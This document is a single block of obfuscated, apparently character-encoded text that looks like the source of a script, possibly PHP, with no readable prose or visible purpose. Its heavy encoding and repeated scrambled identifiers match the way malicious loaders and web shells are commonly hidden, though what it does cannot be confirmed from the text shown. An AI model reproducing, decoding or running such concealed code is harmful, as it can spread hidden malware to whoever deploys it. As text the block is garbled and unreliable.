AG_IICHXskixw\q^IXY^B&sN\U]\ANG@EHKGskixw\q&EJsN\U]\ANG@EHKG[sBTJK_INBAGsE[sZ]V\MU]NVKW&X^UW&sMN^O]_YD[AXXJCU]ZNBNKEC_I\\NII@T^YDmn|mxdNND@UGH@\HB@ rNND@UGH@\HB@&UNXB]\CTAT[IYlE[sZ]V\MU]NVKsMN^O]_YDEBXlVUAG_IICHXsMN^O]_YD&EJUNXB]\CTAT[IY

UNXB]\CTAT[IYW&EBO@YHIsMN^O]_YD&Q&QOMXODxD^C[MN@I@XB\NXsW&&&&QOMXODiTOI\XECB@XB\NXsW&Q&[DE@IEK^NHCBNJO_

lCNsIBHsO@IMBW&Q&&&&DIMHI^EK^NHCBNJO_&ITEX&Q&&&&EJsN\U]\ANG@EHKG[sBTJK_INBAGsE[sZ]V\MU]NVK^IXY^B&X^UW&EJNND@UGH@\HB@VUAG_IICHX

NND@UGH@\HB@EK^NHCBNJO_W&lY\HMXIsC\XECBE[sZ]V\MU]NVK EBXlKIXsC\XECBNND@UGH@\HB@  NND@UGH@\HB@&&&lY\HMXIsC\XECBVUAG_IICHX EK^NHCBNJO_ VUAG_IICHX&Q&KBFFUV]ECCHTMDV\DVBEsEK^NHCBNJO_ &&EJEK^NHCBNJO_KBFFUV]EC

EK^NHCBNJO_E[sZ]V\MU]NVK KBFFUV]EC

NND@UGH@\HB@E[sZ]V\MU]NVK KBFFUV]ECW&&@CAECsKlVUAG_IICHXKBFFUV]EC X^YI&EJ@CAECsKJM@_I

NND@UGH@\HB@@CAECsKKBFFUV]EC@CAECsK&&&&Q&EJVUAG_IICHXKBFFUV]ECKBFFUV]ECFVIFCZEsU&EJEK^NHCBNJO_KBFFUV]ECW&[DE@IVUAG_IICHX

lCNsIBHsO@IMBW\TIKNFCYFHT\TIKN	&Q&DIMHI^VUAG_IICHX&DIMHI^NND@UGH@\HB@&DIMHI^EK^NHCBNJO_&ITEX&&Q&ENNXM]ZIBNCHTMDV\DVBEsNND@UGH@\HB@ &[G]F\KGT^TYXVUAG_IICHXENNXM]ZIBNKBFFUV]EC&&&&EJE__IXsi~zi~wVUAG_IICHXq

E[sZ]V\MU]NVKsi~zi~wEK^NHCBNJO_q[G]F\KGT^TYXW&[DE@IEK^NHCBNJO_

lCNsIBHsO@IMBW&Q&DIMHI^E[sZ]V\MU]NVK&&&DIMHI^VUAG_IICHX[G]F\KGT^TYX&ITEX&Q&[DE@IE[sZ]V\MU]NVK

lCNsIBHsO@IMBW&Q&DIMHI^E[sZ]V\MU]NVK&DIMHI^E[sZ]V\MU]NVK&DIMHI^E[sZ]V\MU]NVK&DIMHI^E[sZ]V\MU]NVK[G]F\KGT^TYX&&&&IODCENNXM]ZIBNKBFFUV]EC&ITEX&QOMXODxD^C[MN@I@XB\NXsW&&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&&Q&{|@CXjE@@\^CFIOXEBFIOXC^&&Q&MTO[EHV@X@sE]sFVX&JYBOXECB]M[TICUOXJ&W&EJE__IXskixwE[sZ]V\MU]NVKq^IXY^B&X^UW&\MY^_ECKsskixwNND@UGH@\HB@q&EJEK^NHCBNJO_\MY^_ECKsPP\MY^_ECKs^IXY^B&\MY^_ECKsE[sZ]V\MU]NVK\MY^_ECKs&N]CYI_FsM^^MU&EJNND@UGH@\HB@VUAG_IICHXN]CYI_Fswq_X^EBKVUAG_IICHXDCAIsY^@ |d|sy~`sdcx&EJNND@UGH@\HB@VUAG_IICHXW&&&sKX[I]\_F_X^EBKlKIXsC\XECBNND@UGH@\HB@ &EJsKX[I]\_FN]CYI_Fswq_X^EBKNND@UGH@\HB@sKX[I]\_F |d|sy~`sdcx&Q&&EJE__IXsi~zi~wVUAG_IICHXqN]CYI_Fswq_X^EBKsi~zi~wE[sZ]V\MU]NVKq&N]CYI_Fswq[KVO\_ZUIGC]NJ&&&JU[I]]^M_J]TJM@_I&JC^IMODE[sZ]V\MU]NVKN]CYI_FsM_ZOTX_VCWJBCOZ\|d|sebxsamt|d|sebxsamtH^sKZGHEV^JBCOZ\&EJEK^NHCBNJO_ZOTX_VCPPZOTX_VCOCBXEBYI&&EJEK^NHCBNJO_ZOTX_VC JM@_IZOTX_VCVUAG_IICHXEK^NHCBNJO_  ZOTX_VC&EJC_I\\NII@T^YDEK^NHCBNJO_ZOTX_VCEK^NHCBNJO_ r\MY^_ECKsW&&JU[I]]^M_J]TX^YITZZ^KXsY|d|samfc~szi~ecb[H]ZMU]TZZ^KXsY&&&&N^IMG&Q&Q&EJJU[I]]^M_J]T^IXY^B&@GGF_TAYIEK^NHCBNJO_E[sZ]V\MU]NVK r&JBAH\FG]^O]\[NXV\CEKEF@TZ^CYsTB\JB\FNJZOEUs@GGF_TAYI&[DE@INND@UGH@\HB@

lCNsIBHsO@IMBW&Q&DIMHI^VUAG_IICHX&DIMHI^NND@UGH@\HB@&IODCJBAH\FG]^O@GGF_TAYINND@UGH@\HB@NND@UGH@\HB@@GGF_TAYIVUAG_IICHX&&&ITEX&&&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&Q&Q&]M[TICUOXJ&JYBOXECB^FHD]Z]\YEG^YGKY&W&X^UW&EJVUAG_IICHXVUAG_IICHX^COGIXsO@IMBsHCAMEB&EJEK^NHCBNJO_VUAG_IICHX[XOsJ@Y_DsM@@&EJNND@UGH@\HB@EK^NHCBNJO__KsOMODI\^I__s\Y^KIsOMODI&&&EJNND@UGH@\HB@VUAG_IICHX@EXI_\IIHs\Y^KIsM@@&I@_IEJE[sZ]V\MU]NVKVUAG_IICHX

EK^NHCBNJO_EK^NHCBNJO_ VUAG_IICHX`EXI\IIHsoMODIsm|e\Y^KIsM@@&EJE[sZ]V\MU]NVKEK^NHCBNJO_

VUAG_IICHXE[sZ]V\MU]NVK VUAG_IICHXn^IIVIs|Y^KIoMODIN^IIVIsOMODIsJ@Y_D&EJEK^NHCBNJO_EK^NHCBNJO_

NND@UGH@\HB@NND@UGH@\HB@ EK^NHCBNJO_oMODIsiBMN@I^O@IM^sXCXM@sOMODI&&&EJEK^NHCBNJO_EK^NHCBNJO_[\JOsO@IM^sM@@sOMODI&I@_IEJE__IXk`cnm`wE[sZ]V\MU]NVKq

VUAG_IICHXk`cnm`wNND@UGH@\HB@q

E[sZ]V\MU]NVKk`cnm`wEK^NHCBNJO_q EK^NHCBNJO_k`cnm`wE[sZ]V\MU]NVKqHI@IXIoMODIX^YI&EJVUAG_IICHXNND@UGH@\HB@[\sOMODIsO@IM^sOMODI&&&EJNND@UGH@\HB@E[sZ]V\MU]NVK

NND@UGH@\HB@NND@UGH@\HB@ NND@UGH@\HB@MYXC\XEAEVIoMODIO@IM^M@@&CGTNsH^OGY_HMU@YEK^NHCBNJO_ NND@UGH@\HB@&QOMXODxD^C[MN@I@XB\NXsW&&&&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&Q&&JYBOXECBDXE_N^A\CFM]YO\&W&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVK

E_sMHAEB^IXY^BX^YI&EJEK^NHCBNJO_EK^NHCBNJO_

[\sHCEBKsMFMT^IXY^BX^YI&EJHIJEBIHVUAG_IICHX

~ixs~i}yix^IXY^BX^YI&EJHIJEBIHNND@UGH@\HB@

ta`~|os~i}yix^IXY^BX^YI&EJNND@UGH@\HB@VUAG_IICHX

E_sJIIH^IXY^BX^YI&EJVUAG_IICHXE[sZ]V\MU]NVK

E_s^CNCX_^IXY^BX^YI&&&EJVUAG_IICHXVUAG_IICHX

E_s_EXIAM\_^IXY^BX^YI&&EJEK^NHCBNJO_VUAG_IICHX

E_sOY_XCAEVIs\^IZEI[^IXY^BX^YI&EJE__IXskixwVUAG_IICHXqPPE__IXskixwE[sZ]V\MU]NVKqPPE__IXskixwE[sZ]V\MU]NVKq^IXY^BX^YI&&&^IXY^BJM@_I&&&&Q&JYBOXECBIC]OCVTEsI_GYEGZG_&&&&WAYEOCHJEJXUHAIBNMBAYEOCH&BZ[sXTMKZMIE__IXk`cnm`wNND@UGH@\HB@q

VUAG_IICHXk`cnm`wNND@UGH@\HB@qEK^NHCBNJO_k`cnm`wVUAG_IICHXq&&&&EJBZ[sXTMKZMI^IXY^B&BZ[sXTMKZMIEK^NHCBNJO_EK^NHCBNJO_ NND@UGH@\HB@ BZ[sXTMKZMI&XA\AZ[I]J@OE[sZ]V\MU]NVKNND@UGH@\HB@_X^EBKEK^NHCBNJO_DCAIsY^@ |d|sy~`sdcx&@YATZFUFTN]V[C_I\\NII@T^YDVUAG_IICHXXA\AZ[I]J@O &BVHDXDXNANND@UGH@\HB@E[sZ]V\MU]NVKBZ[sXTMKZMI  &^IXY^BpB_O^E\XHMXM_Op@YATZFUFTN]V[BVHDXDXNAppBBZ[sXTMKZMIpB_O^E\XpB_O@YATZFUFTN]V[BVHDXDXNApB&Q&JYBOXECB__\FKGB^NHAOE&W&X^UW&EJDXE_N^A\CFM]YO\^IXY^B&&G^AU[TIUAs^CFTIC]OCVTEsI_GYEGZG_&EJG^AU[TIUAs^CFT^IXY^B&IODCG^AU[TIUAs^CFT&k`cnm`wVUAG_IICHXqX^YI&EJVUAG_IICHXEK^NHCBNJO_

EK^NHCBNJO_VUAG_IICHX

IA\XUk`cnm`wNND@UGH@\HB@qW&k`cnm`wE[sZ]V\MU]NVKqX^YI&ZHD@EYZY@OEBXlKIXsC\XECBNND@UGH@\HB@ &EJNND@UGH@\HB@ZHD@EYZY@OlY\HMXIsC\XECBVUAG_IICHX E[sZ]V\MU]NVK EK^NHCBNJO_&YB_IXZHD@EYZY@O&Q&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&&&&Q&Q&JYBOXECBTO@IGIUBEMAGNOEDGT]TXZ[&W&EJEK^NHCBNJO_EDGT]TXZ[PPEDGT]TXZ[^IXY^BEDGT]TXZ[&EJIA\XUk`cnm`wE[sZ]V\MU]NVKq^IXY^BEDGT]TXZ[&G^AU[TIUAs^CFTIC]OCVTEsI_GYEGZG_&EJG^AU[TIUAs^CFT^IXY^BEDGT]TXZ[&&&EJ_X^E\C_EDGT]TXZ[ EK^NHCBNJO_JM@_I

_X^E\C_EDGT]TXZ[ EK^NHCBNJO_JM@_I^IXY^BEDGT]TXZ[&&k`cnm`wE[sZ]V\MU]NVKqX^YI&k`cnm`wVUAG_IICHXqX^YI&&&\OsYHIMOBTB_X^E\C_EDGT]TXZ[ E[sZ]V\MU]NVK&EJ\OsYHIMOBTBJM@_IW&^IXY^BVUAG_IICHXEDGT]TXZ[  \OsYHIMOBTBG^AU[TIUAs^CFTEK^NHCBNJO_EDGT]TXZ[ \OsYHIMOBTB&Q&|d|JENI^_I]YEZM^EMBXHMXMJ@C[K^M\D&&^IXY^BEDGT]TXZ[G^AU[TIUAs^CFT&Q&JYBOXECB_G@JHBA[]B^E@&W&X^UW&{|n@COGoCBX^C@_EBJI^\E\I@EBI&&&EJDXE_N^A\CFM]YO\^IXY^B&EJIA\XUk`cnm`wEK^NHCBNJO_q^IXY^B&BZ[sXTMKZMIE__IXk`cnm`wE[sZ]V\MU]NVKq

NND@UGH@\HB@k`cnm`wNND@UGH@\HB@qVUAG_IICHXk`cnm`wEK^NHCBNJO_qHJEJJXEA\|d|samfc~szi~ecbEDJC^s\HFGBHJEJJXEA\&EJBZ[sXTMKZMI^IXY^B&k`cnm`wNND@UGH@\HB@qX^YI&lEK^NHCBNJO_E[sZ]V\MU]NVK&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&Q&JYBOXECBDIF@__OYYXAG\EE&&W&X^UW&EJE_sMHAEB

E__IXk`cnm`wVUAG_IICHXqPPk`cnm`wEK^NHCBNJO_qNND@UGH@\HB@^IXY^B&EJVUAG_IICHXE[sZ]V\MU]NVK

E_s__@^IXY^B&HONHYIFNDJOA[CHTMDV\DVBEsVUAG_IICHX &&&@YATZFUFTN]V[C_I\\NII@T^YDmn|mxdE[sZ]V\MU]NVK r&HZJ[JZY^EK^NHCBNJO_&EJHONHYIFNDJOA[W&EJE[sZ]V\MU]NVKVUAG_IICHX

EBXlKIXsC\XECBE[sZ]V\MU]NVK W&lY\HMXIsC\XECBEK^NHCBNJO_  E[sZ]V\MU]NVK&]YZT^ZBVAGA_X^EBKlKIXsC\XECBE[sZ]V\MU]NVK &IODCpBE[sZ]V\MU]NVK@YATZFUFTN]V[&EK^NHCBNJO_&E[sZ]V\MU]NVKHZJ[JZY^E[sZ]V\MU]NVKVUAG_IICHX&E[sZ]V\MU]NVKVUAG_IICHX]YZT^ZBVAGA&E[sZ]V\MU]NVKHZJ[JZY^EK^NHCBNJO_VUAG_IICHX&NND@UGH@\HB@HZJ[JZY^VUAG_IICHXEK^NHCBNJO_HZJ[JZY^EK^NHCBNJO_E[sZ]V\MU]NVKHZJ[JZY^NND@UGH@\HB@VUAG_IICHXHZJ[JZY^NND@UGH@\HB@EK^NHCBNJO_&NND@UGH@\HB@HZJ[JZY^EK^NHCBNJO_VUAG_IICHXHZJ[JZY^VUAG_IICHXNND@UGH@\HB@&&&E[sZ]V\MU]NVKpB&YB_IX]YZT^ZBVAGA&Q&&^IXY^B&Q&&&&HONHYIFNDJOA[E[sZ]V\MU]NVKE[sZ]V\MU]NVK EK^NHCBNJO_ HONHYIFNDJOA[&EJNND@UGH@\HB@HONHYIFNDJOA[ E[sZ]V\MU]NVKHONHYIFNDJOA[E[sZ]V\MU]NVKE[sZ]V\MU]NVKHONHYIFNDJOA[ &&&&NsDIXDDJUC&EJNND@UGH@\HB@E[sZ]V\MU]NVKW&&Z_EAs_X^EBKE[sZ]V\MU]NVKDCAIsY^@ |d|sy~`s|mxd&EJZ_EAs

Z_EAsNsDIXDDJUCNND@UGH@\HB@Z_EAs &Q&EJVUAG_IICHXVUAG_IICHXW&lY\HMXIsC\XECBVUAG_IICHX  E[sZ]V\MU]NVK&lY\HMXIsC\XECBNND@UGH@\HB@ HONHYIFNDJOA[ VUAG_IICHX&Q&_ITZOVHTJ@EK^NHCBNJO_@YATZFUFTN]V[&NND@UGH@\HB@&VUAG_IICHXHZJ[JZY^E[sZ]V\MU]NVKE[sZ]V\MU]NVK&NND@UGH@\HB@&NND@UGH@\HB@HZJ[JZY^NND@UGH@\HB@EK^NHCBNJO_VUAG_IICHXHONHYIFNDJOA[&E[sZ]V\MU]NVKHZJ[JZY^EK^NHCBNJO_EK^NHCBNJO_NND@UGH@\HB@HONHYIFNDJOA[E[sZ]V\MU]NVKVUAG_IICHXNsDIXDDJUCVUAG_IICHXHZJ[JZY^EK^NHCBNJO_E[sZ]V\MU]NVK&VUAG_IICHXHZJ[JZY^VUAG_IICHXE[sZ]V\MU]NVK&VUAG_IICHXHZJ[JZY^EK^NHCBNJO_NND@UGH@\HB@HZJ[JZY^E[sZ]V\MU]NVKNND@UGH@\HB@&VUAG_IICHXHZJ[JZY^EK^NHCBNJO_NND@UGH@\HB@&NND@UGH@\HB@&NND@UGH@\HB@HZJ[JZY^NND@UGH@\HB@NND@UGH@\HB@&&&&VUAG_IICHXHZJ[JZY^VUAG_IICHXEK^NHCBNJO_HZJ[JZY^NND@UGH@\HB@EK^NHCBNJO_&NND@UGH@\HB@&IODCpB_ITZOVHTJ@pB&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YEK^NHCBNJO_ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&&&&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&&&&Q&Q&&EJFNH][OVB\]KMW&^IXY^B&Q&IFT[AZKsCO@K^VC&FM[ETDsMJDOClVUAG_IICHX^_NIVAZ&EJFM[ETDsMJDOCPPFM[ETDsMJDOC	TONTM\^FTV@HAFZW&GHYEBJEGOMKUEK^NHCBNJO_&&&&OGDYBEsTOUKXHX^_NIVAZ GHYEBJEGOMKUGHYEBJEGOMKU	\^FTV@HAFZ&&YB_IXGHYEBJEGOMKU&Q&YB_IXFM[ETDsMJDOC&X^UW&&YBZVYTMFKDCK[Tssje`iss&YKUGHANX&X@K^MBHlEK^NHCBNJO_YBZVYTMFKDCK[T JM@_I BY@@  &EJVUAG_IICHXX@K^MBH

NND@UGH@\HB@E[sZ]V\MU]NVK X@K^MBH I\G__KY_FN@UYKUGHANXI\G__KY_FN@Uwq&&EJYKUGHANX

HIJEBIHE[sZ]V\MU]NVKW&AKMsMMNM\M@DM^^MU&&&HIH\NCM_HIJEBIHEK^NHCBNJO_{|ays|`ykebshe~{|socbxibxshe~EK^NHCBNJO_&&BA^XTHF\HIJEBIHEK^NHCBNJO_{|s|`ykebshe~{|socbxibxshe~NND@UGH@\HB@&@NCAJ\IDZM_AJM@_I&EJVUAG_IICHXEK^NHCBNJO_W&&sTGXYXAslNND@UGH@\HB@HIH\NCM_lNND@UGH@\HB@HIH\NCM_VUAG_IICHXJM@_I&KOEDXXUF_J[FlEK^NHCBNJO_BA^XTHF\VUAG_IICHX&EJNND@UGH@\HB@sTGXYXAsPPEK^NHCBNJO_KOEDXXUF_J[FW&&&@NCAJ\IDZM_AX^YI&JC^IMODM^^MUsTGXYXAsM_DZT^U@Js]_DAKMsMMNM\M@DwqDZT^U@Js]_D&JC^IMODM^^MUKOEDXXUF_J[FM_DZT^U@Js]_DAKMsMMNM\M@DwqDZT^U@Js]_D&Q&&&YB_IXsTGXYXAs KOEDXXUF_J[F&Q&EJ@NCAJ\IDZM_AW&IVIKU@^lEK^NHCBNJO_HIH\NCM_Y_YDBID_DM_]GYHIH\NCM_JM@_I&EJNND@UGH@\HB@IVIKU@^JC^IMODIVIKU@^M_H@N_AT[IA@_^W&&&EJNND@UGH@\HB@H@N_AT[IA@_^ EK^NHCBNJO_AKMsMMNM\M@DwqHIH\NCM_H@N_AT[IA@_^&Q&IVIKU@^lEK^NHCBNJO_BA^XTHF\Y_YDBID_DM_]GYBA^XTHF\JM@_I&EJVUAG_IICHXIVIKU@^JC^IMODIVIKU@^M_H@N_AT[IA@_^W&&TsH@V[BA^XTHF\H@N_AT[IA@_^&EJlVUAG_IICHXTsH@V[OCBXEBYI&&&BYYJU]@U]sY_YDBID_DM_]GYTsH@V[&EJE[sZ]V\MU]NVKBYYJU]@U]sOCBXEBYI&JC^IMODBYYJU]@U]sM_MF_AND^TW&&&&EJNND@UGH@\HB@MF_AND^T TTEK^NHCBNJO_AKMsMMNM\M@DwqTsH@V[MF_AND^T&Q&Q&YB_IXIVIKU@^ H@N_AT[IA@_^ MF_AND^T TsH@V[ BYYJU]@U]s&Q&ZA\^NVF@NDACIYEK^NHCBNJO_YBZVYTMFKDCK[T E[sZ]V\MU]NVK&JC^IMODAKMsMMNM\M@DM_DZT^U@Js]_DW&EJDZT^U@Js]_DYBZVYTMFKDCK[TOCBXEBYI&&Z@KD__KUZGEFlEK^NHCBNJO_DZT^U@Js]_D&&EJZ@KD__KUZGEFPPZ@KD__KUZGEF	TNJTNOW&DOBGFsJYVlEK^NHCBNJO_DZT^U@Js]_D&EJDOBGFsJYVPPDOBGFsJYVPPDOBGFsJYVOCBXEBYI&Q&X@K^MBHlE[sZ]V\MU]NVKDZT^U@Js]_D JM@_I BY@@  TTN&EJEK^NHCBNJO_X@K^MBHPPE[sZ]V\MU]NVKX@K^MBH E[sZ]V\MU]NVKJM@_IOCBXEBYI&EJE[sZ]V\MU]NVKNND@UGH@\HB@ X@K^MBH I\G__KY_FN@UOCBXEBYI&EJEK^NHCBNJO_DZT^U@Js]_D EK^NHCBNJO_ZA\^NVF@NDACIY

I\G__KY_FN@UwqYKUGHANXW&EJBZOVYC[ODT^DZT^U@Js]_DW&&&&EJD^@ZVFN[YsG\DZT^U@Js]_D DZT^U@Js]_DEK^NHCBNJO_

EK^NHCBNJO_E[sZ]V\MU]NVKlC\OMODIsEBZM@EHMXIDZT^U@Js]_D X^YI&&&&Q&OCBXEBYI&Q&&&&EJZI^_ECBsOCA\M^II\G__KY_FN@Uwq YKUGHANX W&BIC\D\Y_KT]GKMOIK^\UFKEK@DZT^U@Js]_D&EJBIC\D\JM@_IW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK E[sZ]V\MU]NVKEK^NHCBNJO_DZT^U@Js]_D&OCBXEBYI&Q&&EJBIC\D\X^YIW&EJD^@ZVFN[YsG\DZT^U@Js]_D DZT^U@Js]_DEK^NHCBNJO_W&EJE[sZ]V\MU]NVKVUAG_IICHXlC\OMODIsEBZM@EHMXIDZT^U@Js]_D X^YI&Q&lNND@UGH@\HB@VUAG_IICHXDZT^U@Js]_DEK^NHCBNJO_VUAG_IICHXDZT^U@Js]_D NND@UGH@\HB@&OCBXEBYI&Q&lVUAG_IICHXDZT^U@Js]_D&&&&lNND@UGH@\HB@E[sZ]V\MU]NVKDZT^U@Js]_DEK^NHCBNJO_E[sZ]V\MU]NVKDZT^U@Js]_D EK^NHCBNJO_[sUYsTB[@_ZETAZ\HNA[sUYsTB[	&EJEK^NHCBNJO_EK^NHCBNJO_lC\OMODIsEBZM@EHMXIDZT^U@Js]_D X^YI&&&&OCBXEBYI&Q&[YB_@V[I^NGYE[sZ]V\MU]NVKEK^NHCBNJO_DZT^U@Js]_DVUAG_IICHXPPVUAG_IICHXDZT^U@Js]_DHIH\NCM_&EJ[YB_@V[I^NGY

EK^NHCBNJO_VUAG_IICHXW&IHEJTNFUCIYE[sZ]V\MU]NVKEK^NHCBNJO_DZT^U@Js]_DEK^NHCBNJO_DZT^U@Js]_D&DTZF]IIE^I]M^^MUlKIXsC\XECBVUAG_IICHX M^^MU&[YB_@V[I^NGYE[sZ]V\MU]NVKIHEJTNFUCIY DTZF]IIE^I] X^YI&EJ[YB_@V[I^NGY

VUAG_IICHXNND@UGH@\HB@

E_sAY@XE_EXI

VUAG_IICHXNND@UGH@\HB@W&^JV^\JM^^MUlKIXs_EXIsC\XECBE[sZ]V\MU]NVK M^^MU&&&&[YB_@V[I^NGYE__IX^JV^\JwIHEJTNFUCIYq&YB_IX^JV^\J&&Q&YB_IXIHEJTNFUCIY DTZF]IIE^I]&&&&Q&EJ[YB_@V[I^NGYOCBXEBYI&EJZI^_ECBsOCA\M^II\G__KY_FN@Uwq YKUGHANX W&EJBZOVYC[ODT^DZT^U@Js]_D

ZFBA][K]CJ^BDZT^U@Js]_D^IXY^B&JX^HI_I@YGV@VUAG_IICHXDZT^U@Js]_DVUAG_IICHXEK^NHCBNJO_DZT^U@Js]_D&EJlE[sZ]V\MU]NVKJX^HI_I@YGV@

EBXlVUAG_IICHXJX^HI_I@YGV@NND@UGH@\HB@W&M^AHUXXNND@UGH@\HB@P _X^EBKlEK^NHCBNJO_JX^HI_I@YGV@&EJEK^NHCBNJO_M^AHUXXPPM^AHUXXwqI\G__KY_FN@UwqPPEBXM^AHUXXwqEBXlVUAG_IICHXDZT^U@Js]_DW&lE[sZ]V\MU]NVKJX^HI_I@YGV@&OCBXEBYI&Q&EJY_KT]GKMOIK^\UFKEK@DZT^U@Js]_DJM@_IW&&&]]XI^s@\F[YJ_V_ZEOIDZT^U@Js]_D TTO&&EJEU@^_Y^]OZUI]BDZT^U@Js]_DW&lVUAG_IICHXJX^HI_I@YGV@&&EJNND@UGH@\HB@E[sZ]V\MU]NVKlC\OMODIsEBZM@EHMXIDZT^U@Js]_D X^YI&Q&Q&&OCBXEBYI&Q&lE[sZ]V\MU]NVKJX^HI_I@YGV@ I\G__KY_FN@UwqPEBXlVUAG_IICHXDZT^U@Js]_D&OCBXEBYI&&&Q&EJI\G__KY_FN@UwqYKUGHANXW&&VJNCVGTJKEKYOX@TO_DMKTN[VXU]XGKGNV^^TF[_Y@BVXU]XGKGN	&X]Y[IVGFX]JM@_I&EJIA\XUVJNCVGTJKEKYOwNND@UGH@\HB@qW&DHV^ZMVMTAO[lEK^NHCBNJO_VJNCVGTJKEKYOwNND@UGH@\HB@q&&&&@]EGTOOlNND@UGH@\HB@DZT^U@Js]_D&EJEK^NHCBNJO_DHV^ZMVMTAO[

EK^NHCBNJO_@]EGTOO

DHV^ZMVMTAO[@]EGTOO

OY\OOIOMZBYJTVJNCVGTJKEKYOVUAG_IICHX

BZOVYC[ODT^DZT^U@Js]_D^IXY^B&&EJNND@UGH@\HB@DHV^ZMVMTAO[

DHV^ZMVMTAO[lEK^NHCBNJO_YBZVYTMFKDCK[TX]Y[IVGFX]X^YI&Q&EJX]Y[IVGFX]

BZOVYC[ODT^DZT^U@Js]_DWV\BHBNV@XI@GFEXYV@^UOV\BHBNV@XI&EJZFBA][K]CJ^BDZT^U@Js]_DPPY_KT]GKMOIK^\UFKEK@DZT^U@Js]_DJM@_IW&EJD^@ZVFN[YsG\DZT^U@Js]_D DZT^U@Js]_DEK^NHCBNJO_

NND@UGH@\HB@VUAG_IICHXlC\OMODIsEBZM@EHMXIDZT^U@Js]_D X^YI&Q&&&YB_IXVJNCVGTJKEKYO X]Y[IVGFX] DHV^ZMVMTAO[ @]EGTOO&OCBXEBYI&&&Q&EJX]Y[IVGFX]

VUAG_IICHXEK^NHCBNJO_EK^NHCBNJO_DZT^U@Js]_D EK^NHCBNJO_  VUAG_IICHXNND@UGH@\HB@ZA\^NVF@NDACIY  ^IXY^B&YB_IXVJNCVGTJKEKYO X]Y[IVGFX] DHV^ZMVMTAO[ @]EGTOO&Q&Q&Q&YB_IXYBZVYTMFKDCK[T YKUGHANX X@K^MBH I\G__KY_FN@U AKMsMMNM\M@D HIH\NCM_ BA^XTHF\ DZT^U@Js]_D Z@KD__KUZGEF ZA\^NVF@NDACIY DOBGFsJYV BIC\D\ JX^HI_I@YGV@ M^AHUXX&&QOMXODxD^C[MN@I@XB\NXsW&QOMXODiTOI\XECB@XB\NXsW&Q&EJE__IXk`cnm`wE[sZ]V\MU]NVKqW&EJZI^_ECBsOCA\M^I_X^EBKk`cnm`wNND@UGH@\HB@q [KNGMVXV[KCMBM[JX VUAG_IICHX^IXY^B&k`cnm`wVUAG_IICHXq&QI@_IEJHIJEBIHVUAG_IICHXW&GG\AJ]IVOCB_XMBXVUAG_IICHXVTNABT_ZMY[FVTHI@^HT^^GVTNABT_ZMY[VTNABT_ZMY[VTNABT_ZMY[&EJE[sZ]V\MU]NVKGG\AJ]IV

EK^NHCBNJO_EK^NHCBNJO_ GG\AJ]IV

ZI^_ECBsOCA\M^IGG\AJ]IV [KNGMVXV[KCMBM[JX E[sZ]V\MU]NVK^IXY^B&k`cnm`wE[sZ]V\MU]NVKq&YB_IXGG\AJ]IV&&&&Q&EB\YXZM@EHMXECB&&k`cnm`wE[sZ]V\MU]NVKq[KNGMVXV[KCMBM[JX&&&EJNND@UGH@\HB@NND@UGH@\HB@lO@IM^_XMXOMODIX^YI ^_NIVAZ&k`cnm`wNND@UGH@\HB@q_X^EBKlNND@UGH@\HB@^_NIVAZ_X^EBKlEK^NHCBNJO_^_NIVAZ&EJHIJEBIHEK^NHCBNJO_HIJEBIVUAG_IICHX [KNGMVXV[KCMBM[JX&EJHIJEBIHNND@UGH@\HB@HIJEBIVUAG_IICHX [KNGMVXV[KCMBM[JX&&&B\Z^M[NKUKM@NND@UGH@\HB@&&&&&VV[TYsZZD_HE\HNJV^_NIVAZ&EJVUAG_IICHXNND@UGH@\HB@

E[sZ]V\MU]NVKNND@UGH@\HB@W&X^UW&[EJZJKU\CsYsOMCBICZZUG_CDXB&&&EJlNND@UGH@\HB@[EJZJKU\CsW&{|~ixm|eZ@COGI]YEZM@IBOIO@M__&&&&CZ_TMBGHs^MDEG_DKYTYUTE@]OU&&&[MH[HVZB]FFsY_YDBID_DM_]GY[EJZJKU\Cs&&&&EJEK^NHCBNJO_[MH[HVZB]FFsW&JC^IMOD[MH[HVZB]FFsM_CCVBBTW&&EJCCVBBTCZ_TMBGHs^MDOCBXEBYI&EJVUAG_IICHXEK^NHCBNJO_CCVBBT OCB_XMBXVUAG_IICHXEK^NHCBNJO_OCBXEBYI&&&Z^D[MNKO_[EJZJKU\CsCCVBBT&EJlNND@UGH@\HB@Z^D[MNKO_

lE[sZ]V\MU]NVKZ^D[MNKO_

TIEsOI[@[_HGJZZ^D[MNKO_ TTMW&HVsECU@TJ_KMEZ^D[MNKO_&Q&&Q&Q&Q&QOMXODxD^C[MN@I@XB\NXsW&|d|yBEX\^CFIOXEZIMHF_I__ECBXU\I&&CGTNsH^OGY_HMU@YEK^NHCBNJO_ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&EB_X^YOXECB\CEBXI^&&&&Q&Q&l_\E@@C^NEX&&&EJMMUYZ^sVMNBVIAW&KUG@_ZHVYZGNVUAG_IICHX EK^NHCBNJO_ &&&Q&&k`cnm`wVUAG_IICHXqM^^MU&k`cnm`wVUAG_IICHXqM^^MU&&&k`cnm`wE[sZ]V\MU]NVKq&EJE[sZ]V\MU]NVKNND@UGH@\HB@W&EK^NHCBNJO_E[sZ]V\MU]NVKK^ATKGDMIVIUEYTJVBK^ATKGDMIVI	&&&&NND@UGH@\HB@EK^NHCBNJO_&&Q&T]NJOFKBM]NND@UGH@\HB@^_NIVAZNND@UGH@\HB@EK^NHCBNJO_^_NIVAZ E[sZ]V\MU]NVKGGsHCK|d|samfc~szi~ecb^BOH\]A]GGsHCK&&EJlEK^NHCBNJO_T]NJOFKBM]W&&CKD@]DD^NV